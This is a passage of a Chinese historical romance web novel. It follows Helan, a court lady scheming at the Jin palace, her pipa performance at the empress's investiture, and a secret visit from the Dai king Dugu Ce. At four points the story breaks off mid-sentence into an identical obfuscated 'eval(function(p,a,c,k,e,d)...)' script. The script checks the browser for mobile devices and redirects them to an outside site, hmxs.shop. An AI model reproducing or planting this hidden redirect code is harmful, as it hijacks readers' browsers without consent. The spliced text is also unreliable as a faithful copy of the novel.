“陛下和崇训宫娘娘都喜欢听琵琶,听闻你也精于此道,若以此妙手而就,必然龙心大悦。” 这是给她机会去御前了?目的又是什么? 贺兰略忖一下,含羞点了点头,算作回应。 …… 那夜雪颇大,北风呼啸了大半夜,晨起便是白茫茫一片琉璃世界。 贺兰深一脚浅一脚地到了天禄阁,听到几个宫人在说什么,凑近方知是北地战事。离开燕关已有半年,前尘往事早就被她抛诸脑后,偶尔睡梦中拂过年少之事,也不过模模糊糊些影子。所以当独孤策三个字再次从别人口中说出时,她竟然还有一丝恍惚与无措。 是无措,也是心悸。 “代王独孤策派人围绥远城半年,半分收获也没有,谁知道都撤兵了,还能有天赐良机。”一个宫人道。 “快说快说,什么天赐良机?”宫人穷极无聊,喜欢拿这些战事当故事听,很快就围了一圈,仰着脖子听人绘声绘色。 贺兰默默随在宫人身后,也递了个耳朵。 “一夜之间,屏河结冰,整个被冻住了。” “绥远城守了半年,早就人困马乏,见独孤策撤兵走了,自然松懈下来。谁知他竟然没走远,观天文而知大寒,又派人悄悄去了屏河查水情。见河水一结冰,立刻就杀将回去,杀了宇文部一个措手不及。听说防守都还没组织起来,城就破了。” “河水结冰也属常见,但一夜结的冰能有多厚,那么多人马过去,未免太冒险了些吧。”一个宫人质疑道。 这也是贺兰的疑惑,知道他一贯兵行险着,却不想冒失如此。 “偏偏那冰就结得极厚,渡河并无一人伤亡,不过这也许是天神相助……”那人绘声绘色,故作高深,“听说绥远城刚破,屏河的冰莫名就消失了。” 冰冻三尺,是说消失便能消失的么,可见所言不实。 不过他的运气倒是不错,魄力也足,念了这么久的绥远城,终究被他得到了。贺兰眼前莫名就浮现出他志得意满的样子,这个人不笑时总有不符合年岁的沉稳和严肃,但一笑还是很有几分蓬勃朝气。 若他…… 敛起了飘荡的思绪,贺兰自嘲地笑了笑,这些与她又有什么关系呢,不过陌路罢了。 …… 已经返回抚远城的独孤策,并未如贺兰所想得那般兴奋满足。 宇文部虽灭,但他的实力还是无法与大晋匹敌,就连那个女人藏在大晋的皇宫里,他都无能为力。 他是必须要将她夺回的,不管是年少时的遗憾,还是如今的心有不甘。 “听说宇文家的几个女郎都很美貌?”贺兰夫人拨了拨灯芯,房间便更明亮了几分。她近日忽然有些视物模糊,于是独孤策就添了许多烛火到她的屋中。 说起来,他是个孝顺孩子,只是一到娶妻这件事上,就拗得厉害。 “确实长得不错。”独孤策点了点头。好看吧……或许是,不过具体长什么样子,他是一点都不记得了。 “亡国之女,妥善安置也好,不然众心难定。”贺兰夫人上了年岁后,气度愈发雍容,年轻时过分妍媚的脸,也被岁月消磨出许多温柔,看着很是慈祥。 此时她停下了手中的活计,定定地看着自己的儿子,想要从他的神色中窥出他真实的心思。 可惜,他只是浅笑,将心事敛得深沉。 “家家放心,都已安置好了,不会生事端。”独孤策接过侍女手中的帕子,亲手将它递到了母亲的手中。 贺兰夫人摇头,无奈叹了口气:“你所说的安置,便是一个不留,都赐给了你六叔?” “六叔有功,合该如此。况且那几个公主也算是六婶的胞妹,六婶故去后,六叔一直郁郁寡欢,我实在心有不忍。但愿这次看到故人的面子上,六叔心里这道坎能过得去。”独孤策面不改色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690015|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释的有条有理。 听着还是一片好意了?贺兰夫人都要被他气笑了,若非了解实情,她几乎要被这个理由说服了。 “难道不是因为阿荻?”贺兰夫人不介意自己挑明,不耐于和自己的儿子虚与委蛇。 听到这个名字,独孤策眨了一下眼睛,唇角染上了笑意:“的确有阿荻的缘故。” 他的坦率,倒让贺兰夫人始料未及,一时不知该说什么,只好讷讷道:“何必为了一个妇人,让骨肉之间生了嫌隙。” “阿母不是很喜欢阿荻吗?”独孤策避重就轻,理了理衣摆,坐在了贺兰夫人身旁的矮榻上,显得颇亲近。 “这是两码事,你与宗绪皆为我所生,我不允许你们之间生出任何嫌隙。”贺兰夫人说起陈年旧事,神色间带了几分阴郁,“你六叔……阿母欠他良多,若是你们能齐心,阿母也不用日夜不安。” 关于他们的身世,在草原上也算不得什么密辛,无非是收继婚的旧俗,阿母嫁了两次,一个是他的祖父,生了他的六叔独孤宗绪,另一个便是他的阿父。阿母不似阿荻,矜持又别扭,困在贞洁的枷锁中画地为牢。她是草原上的雄鹰,用彪悍的姿态活着,从不会理会其他。 “阿母难道不觉得,若是阿荻做了我的可贺敦,才是最好的选择吗?”独孤策的笑,映着明亮的烛火,十分昳丽炫目。 草原上最漂亮的朝阳,这是先可汗对独孤策的称赞,就连贺兰夫人也不得不承认,自己总是对这个孩子偏爱更多。 “叱奴,别总学那些汉人,说话弯弯绕绕的。”贺兰夫人瘪了一下嘴,不满道。 “别人不清楚,阿母难道不明白孩儿的心思吗?宇文部已灭,我们与大晋又能有多久的和平。娶个公主回来做什么,做晋帝的眼睛吗,还是做他的刀日夜横在孩儿的脖颈上?”说起这些时,他的眸光灼灼如草原上的孤狼。 “阿荻是贺兰部的女儿,是家家的侄女,不管是私心还是其他,她都是可贺敦的最佳人选。” “何况,我放不下她。”独孤策一字一句道。 其他的理由不过是借口,最后这一句,贺兰夫人便没有阻挠的理由。独孤家素来出情种,她以为自己的叱奴不会重蹈覆辙。 但愿宗绪不是如此,不然她也会很为难。 “她只是你舅父的养女,还是个汉人,她不会和我们一条心的。不是说她已经逃回洛阳了么,相隔千里,你又能如何?”贺兰夫人还在做最后的挣扎。 独孤策却倔强:“身份什么的,不都是人定的么,阿母不用放在心上。宇文部覆灭,我本有心试探大晋的意思,趁着慕容桓立后之机,我亲自去一趟洛城。” “你要亲自去冒险?”贺兰夫人对他的莽撞,有些不解,有些生气。 “不入虎穴,焉得虎子。我代国如今尚需蛰伏待机,若非我亲自去,慕容桓如何放心。阿母放心,孩儿不是莽撞之人,此次洛城事关重大,决不能由人代劳。只是抚远城……” 战事初定,代国不能生乱。 “叱奴放心便是,一切有阿母,无人敢轻举妄动。”贺兰夫人如何手段,独孤策当然知道,将后方交给她,自己便无忧矣。 感激地对着母亲深深一拜,口中道:“阿母放心,孩儿此去不仅要给代国争取数年安定,还会给您把媳妇好好带回。” 贺兰夫人扶起了儿子,无奈地笑了。 26. 二十六、弦外音 贺兰又梦到了独孤策。 仍是初见时的样子,顶着一张昳丽夺目的脸,孤独地坐在篝火边,用一双警惕又锐利地眼睛注视着周遭的一切。 可是他却缓缓走到她面前,用一种全然迥异地语调对她说道:“阿荻,过来!” 敏感早慧的少年忽然就变成了如今这样霸道无礼的样子,倒让她有些猝不及防。 “阿荻,你能逃到何处去呢?”他又一次迫近,紧紧揽住了她的腰肢,高大魁伟地身体仿佛一座山峦,将她困在其中,无处遁逃。 “你我没有缘分,放手吧。”贺兰在剧烈的心跳和缭乱地呼吸中,勉强找回了自己的声音。 “阿荻,”他挑眉而笑,像是一种戏谑,“有没有缘分,不该你说了算。” 他的唇轻轻落下,顺着她的脸颊,滑向了她的唇……贺兰挣扎着躲开,不愿被那熟悉的气息再次裹挟,再次搅扰着她的心智。可他偏是个很好地猎手,用他的强势和耐心,掌握着所有的节奏。 追逐,纠缠,一点点将她拖到情欲地深渊…… “阿荻……”一声又一声,像是勾魂的地狱修罗,让她将□□和灵魂都不由自主地献祭出来,陪他一起疯狂地坠落…… …… 贺兰醒来时浑身都是汗,粘腻在温热的肌肤上,被冬日寒凉地空气一激,让她控制不住地颤抖。 她竟然还能想起他,还是用这样可耻的方式。 “女郎,该起了。”素商听到动静,上前替贺兰打起了帐幔。 窗外仍是无边黑夜,或有星子闪烁,透出几道明亮的光。 “什么时辰了?”贺兰恹恹地问道。 “已过寅时三刻。”素商怕贺兰着凉,焦急地替她取过衣衫,披在了身上。 一触手都是汗,素商惊了一跳,忙去触贺兰的额头。额上也是汗,微微透着凉。 “若是女郎身体不豫,今日便告个假吧。”素商担忧地说。 贺兰却摇头:“不妨事的,最近大家都忙,总不好将自己的活推给别人去做。” 素商无奈,侍候她穿得十分厚实,这才放心。 贺兰一如既往地早到,元内司却早就等候在天禄阁外,一身简素的衣衫,唯发髻绾得一丝不苟。 “婆罗门曲是个大曲,偏伎乐那边出了状况,”元内司一筹莫展,显然颇是苦恼,“殿下最喜欢此曲,偏这件事交到了我手中,若是惹了殿下不悦……咱们这些人都不会有好果子吃。” 她口中的殿下,自然是崇训殿的那一位。 数日前,立后的旨意下来,阖宫震惊地并不是立后这件事,而是皇帝随之而来下得另一道旨。 不仅要大赦天下,还要普天同庆。届时南边的大魏,四面的诸侯都会遣使者而来。这样的排场,要求无论何处都不能出错,更遑论新后最喜欢的乐舞。 奉千金而得一笑,新后不痛快,他们这些人便都不得活。 “内司莫要慌张,宫中乐伎有千人之多,娴于器乐的也超过百人,何愁挑不出几个人才。”贺兰宽慰。 元内司摇头:“此曲乃佛国之圣曲,寻常伎乐如何能奏,须得国手,且为良家贵女。你精通音律,当知此曲以琵琶为主,可惜先前定好的钟娘子却忽然得了时疫。莫说让她来奏曲,便是出现在大殿上都不可能了。” 听到这里,还有什么不明白的,与其蠢笨地等人派遣,不如自己识相的认领算了。她不喜欢被人算计,但若自己也恰需这样一个机会,倒是不错。 “小臣或许能为内司解忧。”贺兰垂眸作含羞状。 元内司端详了她片刻,故作迟疑:“早听人说起过,芜娘弹得一手好琵琶,可事关重大……” “内司放心,小臣不敢在此事上开玩笑。”她抬眸时,眼中带了几分跃跃欲试。恰到好处的好胜心和表现欲,就这样撞进了元鸿仪的心坎上,她的脸上带着满意的微笑,伸手拍了拍贺兰的肩膀。 “如此,我倒要拭目以待了,芜娘若这次把握好机会,前途当不可限量。” 前途不可限量…… 若是在这之前,贺兰还猜不到元内司拉拢她的真实意图,今日,再猜不到几分,她未免也太愚钝了吧。 婆罗门曲,主音为琵琶,不管谁弹,都会是万众瞩目的存在。元内司这是需要由她来做这个万众瞩目么? 这又是谁的蹩脚主意? 贺兰知道自己好看,这也是她仅有的武器,既然是武器,那须得见血封喉才好啊……不过晋帝慕容桓是什么样的人,以前不清楚,入宫后还能不清楚吗? 火中取栗,的确需要些勇气! …… “宫人都在传,说新后谢氏,就是景怀太子的遗孀,大魏的会稽公主。”环夫人并不是个多嘴多舌的人,更不喜欢到处打听,所以她说这句话时,明显有自己的意图。 “会稽公主?”果然,贺兰并不好奇什么太子遗孀,她捕捉到的是新后的这个身份。 环夫人想说的也正是这个。 “大将军谢衍的次女,谢氏明影,也是魏后的胞妹。”环夫人低声道。 贺兰倏然站了起来,差点打翻几上的粉盒。 “是她?!”猜了这么久的人,竟然是她! 记忆中破碎又模糊的影子,慢慢在眼前拼凑起来,最终拼凑成的是一个神仙妃子般美好的女郎。 “姊姊不要读书了,陪我玩一会儿好吗?”那年她才五岁,抱着一罐花蜜,讨好似的捧到绯衣少女面前。 这个姊姊生得真好看,春水为神,白玉作骨,年幼的她一眼就喜欢,只想缠着在她身边。 可是她的眼睛却只落在书卷上,拒绝的语气柔婉客气:“你先自己玩吧,等我读完再陪你。” 阿父对她说过,这个姊姊是国舅大将军的女儿,不过在宛城暂住几日,一定要奉承着,万万不能得罪。 所以她不敢再上前打扰,只是坐在离她不远不近的地方,看着纷纷落花坠满她的肩头,有意无意地为她点缀着衣衫。 这样好看的人,画都画不出的模样。 确然,除了模糊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702929|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样貌,她竟再也记不起什么了。不过既然还有些故旧,那对她而言自然是好事。 …… “这个琵琶拨子可还趁手?”身后响起一个清朗的声音。 贺兰回眸,见慕容泠一身靛蓝襕袍,倚在沉香柱上,笑得格外散漫。 不明白他年纪轻轻,为何总喜欢这样老气横秋的颜色。这种割裂感,恰如他这个人般,明明满肚子算计,偏总爱装作云淡风轻的模样。 贺兰眉眼里满是空洞的欢喜:“象牙的拨子,自然是好东西。不过此曲还是用乌木拨子更有韵味。” “乌木?”他皱眉疑惑,“那不是太普通了些?” “技艺若佳,哪怕是寻常朽木,也能奏得好听。”贺兰漫不经心地又拨了一下弦。她并不喜欢奏这样的曲子,那些庄严肃穆的慈悲,洗涤不了她满心的世俗欲望。 慕容泠一哂,对她这种毫不谦虚的态度十分不屑。 诚然,她是个美人,但天下美人何其多,她还到不了倾国倾城的地步。 “衣衫首饰需要本王帮你准备吗?毕竟只论技艺,我父皇未必就会注意到你。”他的语调轻慢,带着谁都能听出的讽刺。 贺兰却并未被他激怒,也没有因目的被拆穿而羞愤。 她弯了弯唇角,依旧笑得恰到好处:“元内司已经准备好了,不劳殿下费心。” “呵……”慕容泠掸了掸衣袍上并不存在的灰尘,冷哼道,“有野心是好事,不过玩火自焚的事儿,本王还是劝你少做些。陛下脾气不好,你若无十足把握,还是不要轻易动邀宠的心思。毕竟你对本王还有些用处,若是死了,本王说不定会被连累呢……” 他很少说这么多话,也从未如这般轻易暴露自己的情绪。这个人一贯虚伪,假得像个泥塑的木偶。 有时人一旦话太密,便是心里失了底气。 贺兰放下琵琶,故意缓缓靠近,站在他身边不远不近的地方,慢慢道:“殿下莫不是……嫉妒?” 一阵蛊惑人心的香气袭来,嗅在鼻端,扯得心口狂乱地跳,突发恶疾一般。 慕容泠惊退了几步,慌乱地四下环顾,直到确定无人经过,才勉强维持住仪容的平静。 “萧青芜,本王警告你,收起你那些魅惑人心的把戏。”他恨声道,“本王也是好心提醒,你除了有些美色,其他的一无所有,你凭什么就认为你能操控人心?” 他指了指远处高耸入云的阙楼:“在这样的地方,你的美色一文不值。” 说完这些,他回头去看,只见贺兰此时正面无表情地看着他,她的眼波潋滟如水,却是寒潭深澈,窥不到里面的内容。 他的话,她可能一句也没有听进去。 也罢,不过贪慕虚荣的俗妇,她要找死,与自己何干。 “好自为之吧!”一拂衣袖,慕容泠转身离开,似乎背影都写着怒意。 “这……”贺兰不禁失笑,她现在越来越看不懂慕容泠了。不过是互相利用,她的境况又与他有多少干系呢?竟让他这般气急败坏…… 27. 二十七、台上曲 冬月廿四,是太史推算出上上大吉的日子。 皇帝分明的不能再分明的态度,让封后大典这件事变成了宫中每个人关乎性命的大事。与宫外的官宦不同,宫人并不愿意讨论新后的身份,更不会去多言此事是否有悖人伦。别说新后是皇帝曾经的侄媳,就算是他的长辈,在鲜卑人眼里也是司空见惯的。 谁当皇后,都不能改变他们一眼望不到头的晦暗人生。世上哪有那么多的机遇,能应付手中的工作,看得到第二天的太阳,就已经很幸运了。 “累掉了半条命,终于要结束了。”一个稚龄宫人打着哈欠说道,替贺兰整理衣裙的手有些滞缓,说话时,眼里汪着的水,簌簌落了下来。 “佩云,不敢胡说,这样的喜庆日子,不吉利的话不要说。”比她年长些的宫人常馨劝道。 相处日久,宫人都知道贺兰是个温和又好说话的女官,在她面前总是自在,偶然抱怨,她也只是笑一笑,当做没有听到。 佩云并不觉得自己的言语有什么错处,盈盈看着贺兰,撒娇道:“萧女史,婢子说得可对?你看别说我们,你练琵琶练得都瘦了一圈了。” 常馨替贺兰系上了腰带,啧啧了几声:“瘦了又如何,咱们萧女史怎么样都是美人。” 腰带绣得精致华美,是贺兰不曾见过的奢靡。莫说上面的纹样有多耗时耗力,一触到那排布紧密的宝石,也足以晃得人眼睛疼。 美则美矣,舒服确是谈不上的,那样重,那样紧,简直勒得她无法呼吸。 “不知道皇后殿下是何样貌,若是有萧女史这样美,那才说得过去呢。”佩云听同伴夸赞,不由也跟着奉承了一句。 “乱说什么,不要命了。”常馨厉声斥责,回头却见贺兰怔愣在那里,不知想什么想出了神。 大概是没听到吧。 萧女史一向照顾她们,从不像别得女官那般目中无人,所以绝不能给她惹什么麻烦。 “佩云,这话若是传到陛下耳中,我们都活不了,还连累了女史。”常馨压了压声音,劝道。 “佩云,我有一个面纱落在房里了,你去找你素商姊姊,让她帮我寻来。”贺兰忽然开口,笑着说道。 佩云心思简单,答应着便匆匆离开,生怕耽误什么事情。 “女史要面纱做什么?”常馨却疑惑,没听说奏曲要戴面纱,何况元内司的心思佩云不明白,她这个久在深宫的人如何看不破。带了面纱,还如何讨得君王一顾? 贺兰用手触了触脸颊,似乎有些羞赧:“天气太寒,脸有些发僵,到时候反而受影响。”说罢,又嘱咐道:“莫要告诉元内司,不然她又该担心了,上台后我便摘下来,没什么的。” 她今日穿得很薄,为了避免受影响,手上一直抱着手炉。这个理由却也说得过去。不过就算她有其他主意又如何,她待自己那样好,自己没道理去元内司那里多嘴。 元内司只说让她们侍候女史,多留意她的动静,可没说事事汇报呀。 …… 怀抱琵琶走上凌霄台时,天上微微飘着几丝雪花,伎乐班的宫人们穿着单薄的衣物,早就准备就绪了。他们一面搓着发紫的手,一面依依望着款步而来的贺兰。 她扮作龙女,上身只有一件金黄色的单衣,黄金臂钏缠在她裸露的手臂上,被肌肤的惨白所衬,泛出更加灼灼夺目的光。 她带着浅笑,眉眼灵动多情,宛若画中人。 不远处的阙楼中,依稀飘过温暖醉人的香气,模模糊糊看到满屋的朱紫贵人,他们亦含笑看着台上演绎着须弥宝境的乐人,仿佛在欣赏着一幅画。 “以往的舞乐都在殿中,怎么这次要放在凌霄台?”有人哆嗦着声音问。 “有人进言,以往的宫宴太过无趣,此番是皇后殿下大喜,必须得有新意……” 所以新意就是贵人们阙楼饮宴,宫人扮作梵境使者供他们观赏……隔着雾蒙蒙的落雪之景去看,可不新奇有趣么? 可谁顾惜过,这些人衣衫单薄,会不会被冻死在冰天雪地里? 贺兰凉凉向着那处望了一眼,拿出面纱,遮挡在脸上,然后试了试琵琶的音色。清脆更甚以往,可见连琵琶都无法共情他们…… 乐声缓缓而起,潺潺流入阙楼之上,婆罗门曲的调子不过寻常,但装扮华丽,姿态各异的奏乐宫人,确是难得一见的风景。 尤其是那个主音琵琶。 那样白皙,那样婀娜……可惜看不到样貌!一副面纱严严实实地遮住了她的容颜,再多绮思,都是徒劳。 贺兰铁了心沉醉在演奏中,从始至终没有抬头看阙楼那处一眼。 “明影,朕的安排,你可满意?”慕容桓端着一盏酒,邀功般的凑到谢氏面前,像一个等待夸奖的孩子。 “这么冷的天,乐伎该冻坏了。”谢氏淡淡道,望着远处的神色,带了几分担忧。 “只要你喜欢,受点冻也是她们的福分。”慕容桓不喜欢谢氏这样不给面子,但他不忍心对她发火,只能负气般说道。 谢氏摇头,十分不忍:“此曲奏完,便叫他们退下吧,我不喜欢听。” “不喜欢?”慕容桓皱眉,“那还留着做什么,都处死吧。你放心,朕已经下令,去找些会奏南曲的人入宫,到时让他们奏些家乡的曲子给你听,可好?” 凤冠闪烁着灿然的华光,一些光芒落在谢明影的眼中,破碎成无数悲伤的痕迹。 她知道,自己和这个人说不通的。 “陛下还是不明白,踏在别人的性命和痛苦上,我不会觉得快乐,只会寝食难安,饱受折磨。” 她摆了摆手,示意元内司过来:“吩咐那些乐伎退下吧,每个人赏些钱帛,就说他们今日受了冻,本宫心里不安,那些钱帛就当赔罪了。” 元内司望了望远处,欲言又止。 “快去。”明影又催促了一声。 慕容桓的脸色有些难看,见元内司踟蹰,更是不悦,叱道:“磨磨蹭蹭做什么,难道让朕亲自去?” “皇后殿下慈悲,此等母仪之德,实为当世女子表率。臣等感佩之至,定会将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16711813|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇后之行,颂于市井,传于江湖。”一人忽然说道。 这样露骨的奉承,听着十分不堪,可慕容桓却听着分外受用,方才还阴云密布的脸上,顿时带了笑意。 “朕的皇后,本就是天下最好的女子,”他侧过头去,望着谢后,忍不住将她的手握在自己的掌心中,“萧侍郎此言,甚得朕心。来人,赐萧侍郎三百匹绢,五千钱。” 说话的人正是萧恪,此刻他得了赏赐,却并未有明显的欢喜神色,只是对着皇帝与面色不佳的皇后,恭恭敬敬地行了个大礼。 一点赏赐算什么,他要得就是皇帝的态度。皇后新立,威信尚浅,若是有人在此时拥戴和支持,她定会感念。自然,若皇帝真如传言中那般对她偏宠,自己此番举动,便会在圣上这里被记一大功。 渤海王已经失势,他不得不给自己换个靠山了,而世上还有哪个靠山比得上皇帝本人。 他那个蠢女儿怎么就不明白这个道理,好好的,遮个面纱做什么! …… 恰如一场繁华落幕,飘散如烟的是热闹,热闹之后便是空寂,是狼藉。 贺兰抱着琵琶,一路沿着空寂的永巷向前走,雪渐渐大了,错综纷乱地拍在脸上,让人连眼睛都睁不开。 她的脑海中满是那日所见。 宫道之上,步辇往来,只是今日却早早清障,看来是御驾要过。 贺兰与随行之人匍匐在宫道一侧,迎接圣驾。 那整齐的脚步声像是踩在了她的头顶般,在青石地上敲出闷沉沉的调子,绵延了许久许久。贺兰悄悄抬头,目光恰好触到步辇上的人。 那个高不可及的存在,此时离她很近很近,近到她若怀揣匕首,说不定一击致命。可惜啊,她还没有傻到拿自己的性命开玩笑。 这个人和想象中的竟然那般不同。 他生得太过于清秀,清秀到像是挽不了弓,抬不起刀一般,谁能想象他杀人如麻,嗜血如命,践踏百姓如践踏草芥虫蚁…… 此时的他,一身玄衣,未戴冠冕,脸上带着温柔的笑。 这个笑是对身侧女子的,贺兰虽未看清她的容颜,但模糊的一点身形,就能感觉到那月笼云遮般的清冷疏离。 “明影,那几株梅花是朕从南地特地觅得,听说品种十分稀有,栽种也颇费了些功夫。你若是喜欢,朕让人再去寻,总要栽满整个园子才好。” 那声音压的低,但其中的婉转殷勤谁又能听不出呢? 女子的声音却冷淡:“这般劳民伤财之举,陛下还是不要做了。” “只要你喜欢,这算不了什么,这天下的一切,只要你喜欢,朕都能双手奉上。” 贺兰望着迤逦而去的圣驾,眯着眼睛,若有所思。 求之不得啊,那正好,不用她亲自动手了。 …… 正咋低头深思,忽被人扯住了手臂,一股大力下,她踉跄扑倒,落到一个温热的怀中。刚要挣扎,一件大氅兜头而下,将她整个人笼住。 无边黑暗,无边温暖。 28. 二十八、多情扰 幽幽的香气,敛着几分清冽,几分沉郁,依稀故人气息。 贺兰惊恐稍解,伸手将自己的脑袋拨了出来,带着愠怒看向对方。 眼前的男子满脸髭须,一道难看的刀疤横在脸上,像是木头上裂开的参差纹路。他的眼睛很小,仿佛只有一条缝,但那条缝里却透出晶亮的光。 此时,他正用那道晶亮的光注视着自己。 贺兰唬了一跳,腿软着向后缩了几步,脸色愈发苍白。 男子看着她,挑眉笑了起来:“明明是个胆小的,干出来的怎么全是些不要命的事。” 低沉却悦耳的声线,又算不得陌生。 见她还在怔忡无措,男子上前,将她的手拢在了自己的手心里:“穿的这样单薄,你是不知道冷吗?” “阿荻,你让我怎么说你好?” 如果此时还不知道对方的身份,那她未免也太迟钝了。 贺兰抹了抹额上的冷汗,轻轻叹了口气,声音里带着疲惫:“大王冒险来此,才是真得大胆。” 对方见她如此反应,莞尔一笑,却将她的疑惑置之不理。 “这件大氅可还暖和?这些狐皮都是家家亲自猎的,大氅也是她亲手缝的。”独孤策缓声道。 贺兰的手触到那柔软的皮毛,心里蓦然有些伤怀。 “家家还记得我……”当年与独孤策成亲后,便随着他这样叫,这么多年竟然没改过来口。 “家家最疼你,心里一直惦念着你。”独孤策抓着贺兰的手,带她向不远处破败的宫宇走去,一面回头对她说道,“若你愿意,随时可以去看她。” 贺兰明白他的意思,挣扎着松开了他的钳制。 “代王殿下,我以为当初我已经说得很分明了,”贺兰今日画了严妆,灼灼生艳,娇媚动人,可是此时却只冷着脸,半丝笑意不见,“我与殿下缘分已尽,犯不着再多惦念。” 独孤策却将她的疏离置之不理,嫌她走得徐缓,干脆将她拦腰抱起。 他的手臂钳得像铁铸的一般,贺兰挣扎了几下,只觉得腰疼,便也放弃了抵抗。 “腰肢这样纤弱,也敢露着,冻坏了怎么办。”独孤策笑道。见贺兰干瞪着他,又无能为力的样子,忍不住弯了弯唇角。 他笑起来很有些少年意气,哪怕现在装扮成这幅丑样子。 贺兰反唇相讥:“楚王好细腰,这你如何能懂……” “我怎会不懂,”独孤策睨着贺兰,声音却冷,“只不过不想见你如此……” “如此什么?”贺兰冷笑,“大王无非觉得我轻浮放荡,可那又怎样,我早说过我的事情自与大王无关。我愿意勾引谁,都是我自己的私事。” 独孤策听闻此言,将贺兰轻轻放下,一双黑亮的眼眸沉沉地看着她。 贺兰扬眉,挑衅地回看着他。 “既然是勾引,为何又要遮掩着自己的脸?”那方面巾不知何时落在了独孤策的手中,金线纵横的纹路,没有若隐若现的美,只有严严实实的遮蔽。 贺兰伸手去夺,显得有些恼羞成怒:“殿下自然不懂,勾引人难道只能是一张脸吗?” 独孤策顺势抓住了她的手,这双手太过细嫩,像是轻轻用力就能折断一般。 “我自是不懂,我从来都不懂……”仿佛只是句寻常的慨叹,“若真是疼惜你的人,何须你用这样的心思。” “真心疼惜我的人……”她低头,咬了咬唇,“过去没有,将来也不会有,况且我也不稀罕。” 她倔起来,当真让人一点办法都没有。仿佛又回到了过去,她用这样坚硬的态度,保护着自己那可怜的自尊心,不肯让任何人碰触和践踏。 燕关中那个楚楚可怜的她,不过是作伪骗人罢了。 可她不明白,她在自己面前根本不需要伪装,如此倔强嘴硬的她更能让他心疼不已。 独孤策松开了贺兰的手,怜惜地触了触她的脸颊,她躲避,噙着泪看着他,默默不语。 “阿荻,你费尽心机回到洛阳,真得是为了找寻生父吗?”独孤策迫近,抓住了她的肩膀,他总是这样蛮横又自信,自以为自己可以掌控一切。 他知道她的身世原本就不足为奇,萧恪不是什么无名无姓之辈,而洛城也少不了他的耳目。 “不投奔生父,难道还要继续流落在边地,任人欺凌?” “你如此聪慧,你生父是何为人你也清楚,专门回来羊入虎口?” “阿荻,你回来到底要做什么?入宫又要做什么?”独孤策揽住了贺兰,将她死死地笼在自己的怀中。 她的身体在微微发抖,不知是因为愤怒,还是伤心。 “我喜欢荣华富贵,有什么地方会比宫里更好得到这些?”她的声音也在颤抖,不过被她强行压下,换上冷若冰霜的调子。 她的口是心非,独孤策怎能听不出。她一向是个倔丫头,偏心思还重,若是打定主意做什么,他就算逼迫也不会问出什么。 “好,我记下了,阿荻喜欢荣华富贵……” 他没有再说什么,望了一眼天色,扯下身上的一块玉佩丢给贺兰,然后转身,几步就消失在了贺兰的眼前。 “若有需要,拿这枚玉佩去青溪里法云寺,自有人帮你。” 这是他丢下的最后一句话。贺兰望着空寂破败的殿宇,怔怔然,仿佛做了一场梦,平日里总会做的梦。 她拢了拢身上的大氅,感受着那温暖裹挟起自己的全部感官,让她如雪花般缓缓融化。 他不会知道自己要做什么,人生多歧路,他不过就是自己曾走错的一条。她不会幼稚到将他骤然来到洛城,归因到自己身上。他们这些自以为是的男人,整日里将大业宏图挂在嘴边,小儿女的悲喜,从来都不会在他们心头。 …… 贺兰回到屋中时,天色已经黑透。素商见她身上裹着一件陌生的大氅,也没多问,只是顺手接过,想要将它收进衣箱里。 “丢了吧,我不喜欢。”贺兰淡声吩咐,人懒懒地靠在凭几上,轻阖眼眸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724672|186734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……”素商未动,也不知该怎么劝。 “算了,又不是他的心意……”权当是为了贺兰夫人吧,贺兰默默地想,“留着,料子很好,还能换些银钱。” 素商不理解她的想法,但听到这句话,还是松了口气,急忙将大氅收了起来。 窗扉轻响了一声,转眼就见环夫人已站在屋中,一身寻常宫人的衣裳,穿在她身上却越看越别扭。 她一面摘着头上的钗环,一面问贺兰:“今日可还顺利?” 贺兰点头,回问:“你呢?” 环夫人拍了拍手上的尘土,笑道:“自然,守卫都去了凤鸣阁,其他地方自然松懈。” 素商上前,熟练地收起了环夫人换下的衣服首饰,又替她拿了热帕子。她一向谨慎,不该问的从来不问,不该说得也从不肯多言。 